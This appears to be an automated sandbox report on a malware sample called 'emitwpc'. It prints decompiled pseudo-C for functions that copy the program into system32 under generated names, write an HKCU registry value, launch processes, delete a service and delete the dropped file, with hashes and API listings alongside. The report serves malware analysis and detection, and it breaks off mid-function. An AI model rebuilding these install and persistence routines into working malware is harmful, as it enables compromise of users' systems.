				 *((intOrPtr*)(_t133 - 0xe0)) = 0xbfc1f7ab;
				 *((intOrPtr*)(_t133 - 0xdc)) = 0x9597fc4e;
				 *((intOrPtr*)(_t133 - 0xd8)) = 0x64eaf6b3;
				 *((intOrPtr*)(_t133 - 0xd4)) = 0xd274c067;
				 *((intOrPtr*)(_t133 - 0xd0)) = 0xdd26f90;
				 *((intOrPtr*)(_t133 - 0xcc)) = 0x9f7643fa;
				 *((intOrPtr*)(_t133 - 0xc8)) = 0xe141c644;
				 *((intOrPtr*)(_t133 - 0xc4)) = 0x4fa50425;
				 *((intOrPtr*)(_t133 - 0xc0)) = 0x842a7374;
				 *((intOrPtr*)(_t133 - 0xbc)) = 0x37a0bb7d;
				 *((intOrPtr*)(_t133 - 0xb8)) = 0x4ddf7c50;
				 *((intOrPtr*)(_t133 - 0xb4)) = 0x571fa934;
				 *((intOrPtr*)(_t133 - 0xb0)) = 0x22b4ed9d;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t133 - 0xac)) = 0x674db9c8;
				 *((intOrPtr*)(_t133 - 0xa8)) = 0x9e595797;
				 *((intOrPtr*)(_t133 - 0xa4)) = 0xbf676b2b;
				 *((intOrPtr*)(_t133 - 0xa0)) = 0x2c5aed76;
				 *((intOrPtr*)(_t133 - 0x9c)) = 0x46cb3eb9;
				 *((intOrPtr*)(_t133 - 0x98)) = 0xf310c248;
				 *((intOrPtr*)(_t133 - 0x94)) = 0x5367116a;
				 *((intOrPtr*)(_t133 - 0x90)) = 0xa31f23f;
				 *((intOrPtr*)(_t133 - 0x8c)) = 0xef968811;
				 *((intOrPtr*)(_t133 - 0x88)) = 0xb5d41bd6;
				 *((intOrPtr*)(_t133 - 0x84)) = 0x32a57979;
				 *((intOrPtr*)(_t133 - 0x80)) = 0xfc73b270;
				 *((intOrPtr*)(_t133 - 0x7c)) = 0xb4fb0ab5;
				 *((intOrPtr*)(_t133 - 0x78)) = 0x8eb8ddbd;
				 *((intOrPtr*)(_t133 - 0x74)) = 0x6949af82;
				 *((intOrPtr*)(_t133 - 0x70)) = 0x9b3f1c3f;
				 *((intOrPtr*)(_t133 - 0x6c)) = 0x7d072d75;
				 *((intOrPtr*)(_t133 - 0x68)) = 0x9ff31f4c;
				 *((intOrPtr*)(_t133 - 0x64)) = 0xc34e136c;
				 *((intOrPtr*)(_t133 - 0x60)) = 0x1c37a837;
				 *((intOrPtr*)(_t133 - 0x5c)) = 0x666fca24;
				 *((intOrPtr*)(_t133 - 0x58)) = 0x1efaa7e;
				 *((intOrPtr*)(_t133 - 0x54)) = 0x5763c5ad;
				 *((intOrPtr*)(_t133 - 0x50)) = 0xd5771a59;
				 *((intOrPtr*)(_t133 - 0x4c)) = 0x4c1f92e9;
				 *((intOrPtr*)(_t133 - 0x48)) = 0xc6af177d;
				 *((intOrPtr*)(_t133 - 0x44)) = 0x93560807;
				 *((intOrPtr*)(_t133 - 0x40)) = 0x9fab0cf;
				 *((intOrPtr*)(_t133 - 0x3c)) = 0xcc3cf8fa;
				 *((intOrPtr*)(_t133 - 0x38)) = 0x4e3e3f36;
				 *((intOrPtr*)(_t133 - 0x34)) = 0x6db992cc;
				 *((intOrPtr*)(_t133 - 0x30)) = 0xf4490784;
				 *((intOrPtr*)(_t133 - 0x2c)) = 0xa2d2bd0e;
				 *((intOrPtr*)(_t133 - 0x28)) = 0x5fd65aaa;
				 *((intOrPtr*)(_t133 - 0x24)) = 0xa9dbdcb2;
				 *((intOrPtr*)(_t133 - 0x20)) = 0xa5781439;
				 *((intOrPtr*)(_t133 - 0x1c)) = 0xfee5012e;
				 *((intOrPtr*)(_t133 - 0x18)) = 0xa08d5c8c;
				 *((intOrPtr*)(_t133 - 0x14)) = 0xa06a3ace;
				 *((intOrPtr*)(_t133 - 0x10)) = 0xdea03ac4;
				 *((intOrPtr*)(_t133 - 0xc)) = 0x31284cbc;
				 *((intOrPtr*)(_t133 - 8)) = 0xb5f364a7;
				 *((intOrPtr*)(_t133 - 4)) = 0x7fe3b542;
				_t131 = L002A1D10(0x2b1160, 0xfc, __edi, __esi);
				 *0x2b4c98 = LoadLibraryW(_t119);
				L002A1DB0(_t131);
				_t126 =  *0x2b4c98; // 0x76910000
				return E002A1570(_t123, _t126, _t133 - 0x5b8, _t131, 0x16e, 0x5afb630a, 0x2b4230);
			}

0x002ab4a4
0x002ab4a4
0x002ab4ae
0x002ab4b8
0x002ab4c2
0x002ab4cc
0x002ab4d6
0x002ab4e0
0x002ab4ea
0x002ab4f4
0x002ab4fe
0x002ab508
0x002ab512
0x002ab51c
0x002ab526
0x002ab530
0x002ab53a
0x002ab544
0x002ab54e
0x002ab558
0x002ab562
0x002ab56c
0x002ab576
0x002ab580
0x002ab58a
0x002ab594
0x002ab59e
0x002ab5a8
0x002ab5b2
0x002ab5bc
0x002ab5c6
0x002ab5d0
0x002ab5da
0x002ab5e4
0x002ab5ee
0x002ab5f8
0x002ab602
0x002ab60c
0x002ab616
0x002ab620
0x002ab62a
0x002ab634
0x002ab63e
0x002ab648
0x002ab652
0x002ab65c
0x002ab666
0x002ab670
0x002ab67a
0x002ab684
0x002ab68e
0x002ab698
0x002ab6a2
0x002ab6ac
0x002ab6b6
0x002ab6c0
0x002ab6ca
0x002ab6d4
0x002ab6de
0x002ab6e8
0x002ab6f2
0x002ab6fc
0x002ab706
0x002ab710
0x002ab71a
0x002ab724
0x002ab72e
0x002ab738
0x002ab742
0x002ab74c
0x002ab756
0x002ab760
0x002ab76a
0x002ab774
0x002ab77e
0x002ab788
0x002ab792
0x002ab7a1
0x002ab7ab
0x002ab7b5
0x002ab7bf
0x002ab7c9
0x002ab7d3
0x002ab7dd
0x002ab7e7
0x002ab7f1
0x002ab7fb
0x002ab805
0x002ab80c
0x002ab813
0x002ab81a
0x002ab821
0x002ab828
0x002ab82f
0x002ab836
0x002ab83d
0x002ab844
0x002ab84b
0x002ab852
0x002ab859
0x002ab860
0x002ab867
0x002ab86e
0x002ab875
0x002ab87c
0x002ab883
0x002ab88a
0x002ab891
0x002ab898
0x002ab89f
0x002ab8a6
0x002ab8ad
0x002ab8b4
0x002ab8bb
0x002ab8c2
0x002ab8c9
0x002ab8d0
0x002ab8d7
0x002ab8de
0x002ab8ed
0x002ab8f8
0x002ab8fd
0x002ab902
0x002ab929

APIs

LoadLibraryW.KERNEL32(00000000), ref: 002AB8F0

Strings

vZ,, xrefs: 002AB7B5
JN), xrefs: 002AB648
}y, xrefs: 002AB60C
6?>N, xrefs: 002AB883

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: LibraryLoad
String ID: 6?>N$JN)$vZ,$}y
API String ID: 1029625771-497292648
Opcode ID: 8c01e58af473ee918ebf1a1871b8768ea2045d12e83c1d557c95c537635b03fa
Instruction ID: 157c637a8ccc755751c4153c496b81a69f7d644136c3ac12b87d6d9727e33d14
Opcode Fuzzy Hash: 8c01e58af473ee918ebf1a1871b8768ea2045d12e83c1d557c95c537635b03fa
Instruction Fuzzy Hash: 32A1B8B4C153A9DBEB60DF82A9857CDBB71BB06344F6086C9C6593B314DB710A82CF85

Uniqueness

Uniqueness Score: 100.00%

Function 002ADD90, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29
stringCOMMON

C-Code - Quality: 100%

			E002ADD90(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				lstrcpyW(__ecx, "C:\Windows\system32");
				_t23 = lstrlenW(_t19);
				_t19[_t23] = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L002A21E0( &(_t19[_t24]), _t28);
				_t25 = _t24 + _t28;
				_t19[_t25] = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x002add93
0x002add9b
0x002adda8
0x002addaf
0x002addb3
0x002addc2
0x002addc7
0x002addcc
0x002addd0
0x002addd7
0x002adddf
0x002adde7

APIs

lstrcpyW.KERNEL32(?,C:\Windows\system32), ref: 002ADD9B
lstrlenW.KERNEL32(?,?,C:\Windows\system32), ref: 002ADDA2
GetTickCount.KERNEL32(?,?,C:\Windows\system32), ref: 002ADDB4

Strings

C:\Windows\system32, xrefs: 002ADD95
x, xrefs: 002ADDD7

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CountTicklstrcpylstrlen
String ID: C:\Windows\system32$x
API String ID: 974621299-2137071385
Opcode ID: ac99330ad75df1032b883929e1a15bdebc298599405bdfd80622431654a9bc93
Instruction ID: b14c9c36fb2871a267803994939b1eedadf644de46e487586da75636776ed2b0
Opcode Fuzzy Hash: ac99330ad75df1032b883929e1a15bdebc298599405bdfd80622431654a9bc93
Instruction Fuzzy Hash: 69F0E5B7624315ABD7109FA8EC886563769EF44352B085075EC09DB256EF74C90987E0

Uniqueness

Uniqueness Score: 0.02%

Function 002A10B7, Relevance: 7.5, APIs: 5, Instructions: 33COMMON

APIs

_snwprintf.NTDLL ref: 002A10D6
CreateEventW.KERNEL32(?,00000001,?,?), ref: 002A10F1
SetEvent.KERNEL32(00000000,?,00000001,?,?), ref: 002A10FE
CloseHandle.KERNEL32(00000000), ref: 002A1105
CloseHandle.KERNEL32(00000000), ref: 002A1111

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseEventHandle$Create_snwprintf
String ID:
API String ID: 2675716504-0
Opcode ID: de245757f398823ce6f9b8d18a0db0c37310e9f580ac41355fcd9b7b05abdc97
Instruction ID: 406e091878db975443eb8b52545c4fa9e97e05b23fac0bf665ea0538c3c52327
Opcode Fuzzy Hash: de245757f398823ce6f9b8d18a0db0c37310e9f580ac41355fcd9b7b05abdc97
Instruction Fuzzy Hash: 11F0E975960510A7C722EB60AC4CFDF767D9F46750F040654FA0EA3202DF348B248BA5

Uniqueness

Uniqueness Score: 0.01%

Function 002A2031, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
processCOMMON

C-Code - Quality: 73%

			E002A2031(WCHAR* __esi) {
				int _t11;
				void* _t17;
				void* _t21;

				E002A17E0(_t17);
				 *(_t21 - 0x58) = 0x44;
				_t11 = CreateProcessW(__esi, 0, 0, 0, 0,  *(_t21 + 8), 0, 0, _t21 - 0x58, _t21 - 0x10);
				if(_t11 == 0) {
					goto 0x2c0675;
					asm("int3");
					return _t11;
				} else {
					if( *((intOrPtr*)(_t21 + 0xc)) == 0) {
						CloseHandle( *(_t21 - 0x10));
						CloseHandle( *(_t21 - 0xc));
						return 1;
					} else {
						asm("movdqu xmm0, [ebp-0x10]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x002a2031
0x002a2039
0x002a2055
0x002a205d
0x002a2095
0x002a209a
0x002a209b
0x002a205f
0x002a2064
0x002a207c
0x002a2085
0x002a2094
0x002a2066
0x002a2066
0x002a206b
0x002a2078
0x002a2078
0x002a2064

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000044,?), ref: 002A2055
CloseHandle.KERNEL32(?), ref: 002A207C
CloseHandle.KERNEL32(?), ref: 002A2085

Strings

D, xrefs: 002A2039

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandle$CreateProcess
String ID: D
API String ID: 2922976086-2746444292
Opcode ID: 55ec9a5ac0c0a88820b64af65638b9f33b294b3c44fe14b81a8a818c885407b7
Instruction ID: 64240c9f035c4c9535f2ea179dc1ae20bfba41f1a4ec8b549771ef68c62a8722
Opcode Fuzzy Hash: 55ec9a5ac0c0a88820b64af65638b9f33b294b3c44fe14b81a8a818c885407b7
Instruction Fuzzy Hash: B7F01D71B60209ABEB219F98EC45BEDBB68EB45700F100655FA08A92D0DFB6A5608B54

Uniqueness

Uniqueness Score: 0.01%

Function 002ADF73, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
registryCOMMON

C-Code - Quality: 100%

			E002ADF73(void* __ecx, signed int __edi, void* __esi, void* __eflags) {
				void* _t10;
				void* _t23;

				_t21 = L002A1D10(__ecx, 0xcc, __edi, __esi);
				if(RegCreateKeyExW(0x80000001, _t7, 0, 0, 0, 2, 0, _t23 - 4, 0) == 0) {
					RegSetValueExW( *(_t23 - 4), "emitwpc", 0, 1, _t23 - 0x20c, 2 + __edi * 2);
					RegCloseKey( *(_t23 - 4));
				}
				_t10 = L002A1DB0(_t21);
				return _t10;
			}

0x002adf7d
0x002adf9d
0x002adfba
0x002adfc3
0x002adfc3
0x002adfcb
0x002adfd5

APIs

RegCreateKeyExW.ADVAPI32(80000001,00000000,00000000,00000000,00000000,00000002,00000000,?,00000000), ref: 002ADF95
RegSetValueExW.ADVAPI32(?,emitwpc,00000000,00000001,?,00000000), ref: 002ADFBA
RegCloseKey.ADVAPI32(?), ref: 002ADFC3

Strings

emitwpc, xrefs: 002ADFB2

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseCreateValue
String ID: emitwpc
API String ID: 1818849710-718124430
Opcode ID: b73604e2dde5f02ee44c811047eb81a95feda327f2c6d88c6e8c66d56428a833
Instruction ID: 9c886163be3ff8eb51acc48e29c115f133d12856fc90f8a4ff415c812ed25815
Opcode Fuzzy Hash: b73604e2dde5f02ee44c811047eb81a95feda327f2c6d88c6e8c66d56428a833
Instruction Fuzzy Hash: EDF08275780304BBEB21AB50EC0BFDD7768DB05B50F2002A1FB06A51D1DEA16A289A98

Uniqueness

Uniqueness Score: 4.31%

Function 002AE000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
stringCOMMON

C-Code - Quality: 68%

			E002AE000(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				 *0x2b3664(0, 0x23, 0, 0, __ecx);
				_t23 = lstrlenW(__ecx);
				 *((short*)(_t19 + _t23 * 2)) = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L002A21E0(_t19 + _t24 * 2, _t28);
				_t25 = _t24 + _t28;
				 *((intOrPtr*)(_t19 + _t25 * 2)) = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x002ae003
0x002ae00e
0x002ae01b
0x002ae022
0x002ae026
0x002ae035
0x002ae03a
0x002ae03f
0x002ae043
0x002ae04a
0x002ae052
0x002ae05a

APIs

SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000), ref: 002AE00E
lstrlenW.KERNEL32 ref: 002AE015
GetTickCount.KERNEL32 ref: 002AE027

Strings

x, xrefs: 002AE04A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CountFolderPathTicklstrlen
String ID: x
API String ID: 2993136144-2363233923
Opcode ID: 30285a553b6ca1e5ab31d369bf0bd85f0cd1409f04cd10b776dc622a85f69740
Instruction ID: 6d3495196db703391c2b36f78c9240bfc9a82e948eb6610226f266546b1888aa
Opcode Fuzzy Hash: 30285a553b6ca1e5ab31d369bf0bd85f0cd1409f04cd10b776dc622a85f69740
Instruction Fuzzy Hash: 2AF027736143047BE3205FA4EC88B053759DF44752F040070E909DF292DBB0D90487A4

Uniqueness

Uniqueness Score: 0.02%

Function 002AD6CE, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 17
UNIQUE

C-Code - Quality: 75%

			E002AD6CE(void* __esi) {
				void* _t2;
				void* _t7;
				void* _t10;
				void* _t12;

				E002A17E0(0xcc);
				_t2 = L002A1D10(0x2b1f40, 0xc8, _t10, __esi);
				_t12 = _t2;
				 *0x2b3344("C:\Windows\system32\emitwpc.exe", 0x104, _t12, "C:\Windows\system32", "emitwpc", 0x517393ad);
				_t7 = _t12;
				return HeapFree(GetProcessHeap(), 0, _t7);
			}

0x002ad6d0
0x002ad6e4
0x002ad6f3
0x002ad700
0x002ad709
0x002a1840

APIs

_snwprintf.NTDLL ref: 002AD700

Strings

C:\Windows\system32, xrefs: 002AD6EE
emitwpc, xrefs: 002AD6E9
C:\Windows\system32\emitwpc.exe, xrefs: 002AD6FB

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: _snwprintf
String ID: C:\Windows\system32$C:\Windows\system32\emitwpc.exe$emitwpc
API String ID: 3988819677-790778293
Opcode ID: 306837868f53b89dee9980ef4247fe8e188e0bd57c41f5fdde71a6d91e244360
Instruction ID: d63a49a2d8de279df59a67ae962cb004484141a4f0e6ec6ceecdf99bf21e758c
Opcode Fuzzy Hash: 306837868f53b89dee9980ef4247fe8e188e0bd57c41f5fdde71a6d91e244360
Instruction Fuzzy Hash: FED052293B16212BD24032992C6BBFD9401DB83BE0F840268F2026A2C2CDA2283047A9

Uniqueness

Uniqueness Score: 100.00%

Function 002AD63E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
COMMON

C-Code - Quality: 50%

			E002AD63E(void* __esi) {
				void* _t2;
				void* _t7;
				void* _t9;
				void* _t11;

				 *0x2b3664();
				_t2 = L002A1D10(0x2b2200, 0x10c, _t9, __esi);
				_t11 = _t2;
				 *0x2b3344("C:\Windows\system32", 0x104, _t11, "C:\Windows\system32", "emitwpc", 0x517393ad);
				_t7 = _t11;
				return HeapFree(GetProcessHeap(), 0, _t7);
			}

0x002ad63e
0x002ad653
0x002ad662
0x002ad66f
0x002ad678
0x002a1840

APIs

SHGetFolderPathW.SHELL32 ref: 002AD63E
_snwprintf.NTDLL ref: 002AD66F

Strings

C:\Windows\system32, xrefs: 002AD65D, 002AD66A
emitwpc, xrefs: 002AD658

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: FolderPath_snwprintf
String ID: C:\Windows\system32$emitwpc
API String ID: 3078599568-3283794196
Opcode ID: 96009f7dec1bf6cd10fbc3d7d914f757f3fa1b95e7ccb596e951a1ef938c345e
Instruction ID: 9340b58b3e795c57355c491cd69ef21d8e95aae1b9ba390a15d4ad16584b1e44
Opcode Fuzzy Hash: 96009f7dec1bf6cd10fbc3d7d914f757f3fa1b95e7ccb596e951a1ef938c345e
Instruction Fuzzy Hash: 27D052353F062077D240235C2C2AAEEAA10DB83BE1B000228B626AA2C2C8A0093007C8

Uniqueness

Uniqueness Score: 5.06%

Function 002ADC10, Relevance: 6.0, APIs: 4, Instructions: 34
serviceCOMMON

C-Code - Quality: 61%

			E002ADC10(void* __ecx, void* __edx, void* __esi, void* __eflags) {
				void* _t3;
				void* _t8;
				int _t9;
				void* _t17;
				void* _t23;

				_t3 = L002A1D10(0x2b1d50, __edx, __ecx, __esi);
				_t20 = _t3;
				 *0x2b3344(_t23 - 0x208, 0x104, _t3,  *0x2b3308, 0x517393ad);
				L002A1DB0(_t20);
				_t8 = OpenServiceW(__ecx, _t23 - 0x208, 0x10000);
				_t17 = _t8;
				if(_t17 == 0) {
					goto 0x2c1d30;
					asm("int3");
					asm("int3");
					return _t8;
				} else {
					_t9 = DeleteService(_t17);
					CloseServiceHandle(_t17);
					return _t9;
				}
			}

0x002adc1c
0x002adc27
0x002adc36
0x002adc41
0x002adc53
0x002adc59
0x002adc5d
0x002adc77
0x002adc7c
0x002adc7d
0x002adc7e
0x002adc5f
0x002adc60
0x002adc69
0x002adc76
0x002adc76

APIs

_snwprintf.NTDLL ref: 002ADC36
OpenServiceW.ADVAPI32(?,?,00010000), ref: 002ADC53
DeleteService.ADVAPI32(00000000,?,?,00010000), ref: 002ADC60
CloseServiceHandle.ADVAPI32(00000000,?,?,00010000), ref: 002ADC69

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Service$CloseDeleteHandleOpen_snwprintf
String ID:
API String ID: 88604382-0
Opcode ID: a6c57b85ab51f99d953f6893ccd6f3fdffd0b7ddecde3aaebe955df8a0c044f8
Instruction ID: 8d55766155bf0b4226007e11f1a2e22742272961a3db352c54ee98c7e9b45375
Opcode Fuzzy Hash: a6c57b85ab51f99d953f6893ccd6f3fdffd0b7ddecde3aaebe955df8a0c044f8
Instruction Fuzzy Hash: 21F02E32510310A7C71197687C0CAEE77BCCB85760F000396F90AD3221DE7189704691

Uniqueness

Uniqueness Score: 0.02%

Function 002AE12E, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

C-Code - Quality: 50%

			E002AE12E(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				int _t16;
				void* _t20;
				void* _t25;
				void* _t27;

				_t25 = L002A1D10(__ecx, 0xcc, __edi, __esi);
				 *0x2b3344(_t27 - 0x428, 0x104, _t25, _t27 - 0x220);
				_t20 = _t25;
				L002A1DB0(_t20);
				_push(_t27 - 0x14);
				_push( *(_t27 - 4));
				_push(_t20);
				if(L002A20A0(_t27 - 0x428, __edi) != 0) {
					CloseHandle( *(_t27 - 0x14));
					CloseHandle( *(_t27 - 0x10));
				}
				_t16 = CloseHandle( *(_t27 - 4));
				return _t16;
			}

0x002ae135
0x002ae14b
0x002ae154
0x002ae156
0x002ae15e
0x002ae15f
0x002ae168
0x002ae173
0x002ae178
0x002ae181
0x002ae181
0x002ae18a
0x002ae194

APIs

_snwprintf.NTDLL ref: 002AE14B
CloseHandle.KERNEL32(?), ref: 002AE178
CloseHandle.KERNEL32(?), ref: 002AE181
CloseHandle.KERNEL32(?), ref: 002AE18A

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: CloseHandle$_snwprintf
String ID:
API String ID: 2398838028-0
Opcode ID: 94d2bceb12132720cbc29bcbea3dc498c415a9e65d4efa5583397294a9587724
Instruction ID: 63ef2981b3319bd41f12a65113a670df37390188d8dee7803aa1017e68f45a6c
Opcode Fuzzy Hash: 94d2bceb12132720cbc29bcbea3dc498c415a9e65d4efa5583397294a9587724
Instruction Fuzzy Hash: F9F03072950019ABCF10EBA4ED099EEB77DEF09314F000295F909A2011DE318F24CFA1

Uniqueness

Uniqueness Score: 0.01%

Function 002A1321, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25fileUNIQUE

APIs

_snwprintf.NTDLL ref: 002A1342
DeleteFileW.KERNEL32(?), ref: 002A1359

Strings

C:\Windows\system32\emitwpc.exe, xrefs: 002A1336

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: DeleteFile_snwprintf
String ID: C:\Windows\system32\emitwpc.exe
API String ID: 366827715-3732819862
Opcode ID: 8733d6f047351b35a7c4a2119c279ac96f08b775666571ef9c46cce1ee102e8c
Instruction ID: 8f0d7c16d83657dd864760e4feccc87f4ca3b647c7eaf3f263caed23868aa832
Opcode Fuzzy Hash: 8733d6f047351b35a7c4a2119c279ac96f08b775666571ef9c46cce1ee102e8c
Instruction Fuzzy Hash: 1FD02B759501285BCB10FBA4AC0D9DB736C8F05764F0007D5F50993102DE704A708BD0

Uniqueness

Uniqueness Score: 100.00%

Function 002ADBA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
UNIQUE

C-Code - Quality: 49%

			E002ADBA0() {
				WCHAR* _t16;
				void* _t18;

				GetTempPathW();
				if(L002A12B0(GetTempFileNameW(_t18 - 0x208, _t16, _t16, _t18 - 0x208), 0x2b4ff0, _t18 - 0x208) != 0) {
					goto 0x2c1ce7;
					asm("int3");
					asm("int3");
					asm("int3");
					_t16 = L002A12B0(_t7, 0x2b4ff0, 0xcc);
					if(_t16 == 0) {
						L002A12B0(_t10, _t18 - 0x208, 0xcc);
					}
				}
				L002A1310();
				return _t16;
			}

0x002adba0
0x002adbc8
0x002adbca
0x002adbcf
0x002adbd0
0x002adbd1
0x002adbd9
0x002adbdd
0x002adbea
0x002adbea
0x002adbdd
0x002adbef
0x002adbfa

APIs

GetTempPathW.KERNEL32 ref: 002ADBA0
GetTempFileNameW.KERNEL32(?,?,?,?), ref: 002ADBB0

Strings

C:\Windows\system32\emitwpc.exe, xrefs: 002ADBBC

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: C:\Windows\system32\emitwpc.exe
API String ID: 3285503233-3732819862
Opcode ID: 61eeb2695916f34eb0a9cb73d80c4febef3b68e7aababd999d538d394c18cc94
Instruction ID: 9cc7157594f32d762a04863434e0cb0bace71bba8409d4e92abc86dc25f04d18
Opcode Fuzzy Hash: 61eeb2695916f34eb0a9cb73d80c4febef3b68e7aababd999d538d394c18cc94
Instruction Fuzzy Hash: 4BD012355252295BCA20AAA5AC0D9EB7A2CDB063A5F000792B919C3511DD208A708BE1

Uniqueness

Uniqueness Score: 100.00%

Function 002A5EE5, Relevance: 5.1, APIs: 4, Instructions: 82
COMMON

C-Code - Quality: 68%

			E002A5EE5(void* __ebx, void __edi, signed int __esi) {
				signed int _t597;
				signed int _t599;
				void* _t600;
				signed int _t610;
				signed int* _t620;
				signed int _t623;
				signed int _t640;
				signed int _t642;
				signed int _t644;
				signed int _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				signed int _t690;
				unsigned int _t693;
				signed int _t694;
				signed int _t695;
				signed int _t699;
				signed int _t709;
				signed int _t714;
				signed int _t716;
				signed int _t719;
				signed int _t721;
				signed int _t722;
				intOrPtr _t734;
				intOrPtr _t735;
				intOrPtr _t736;
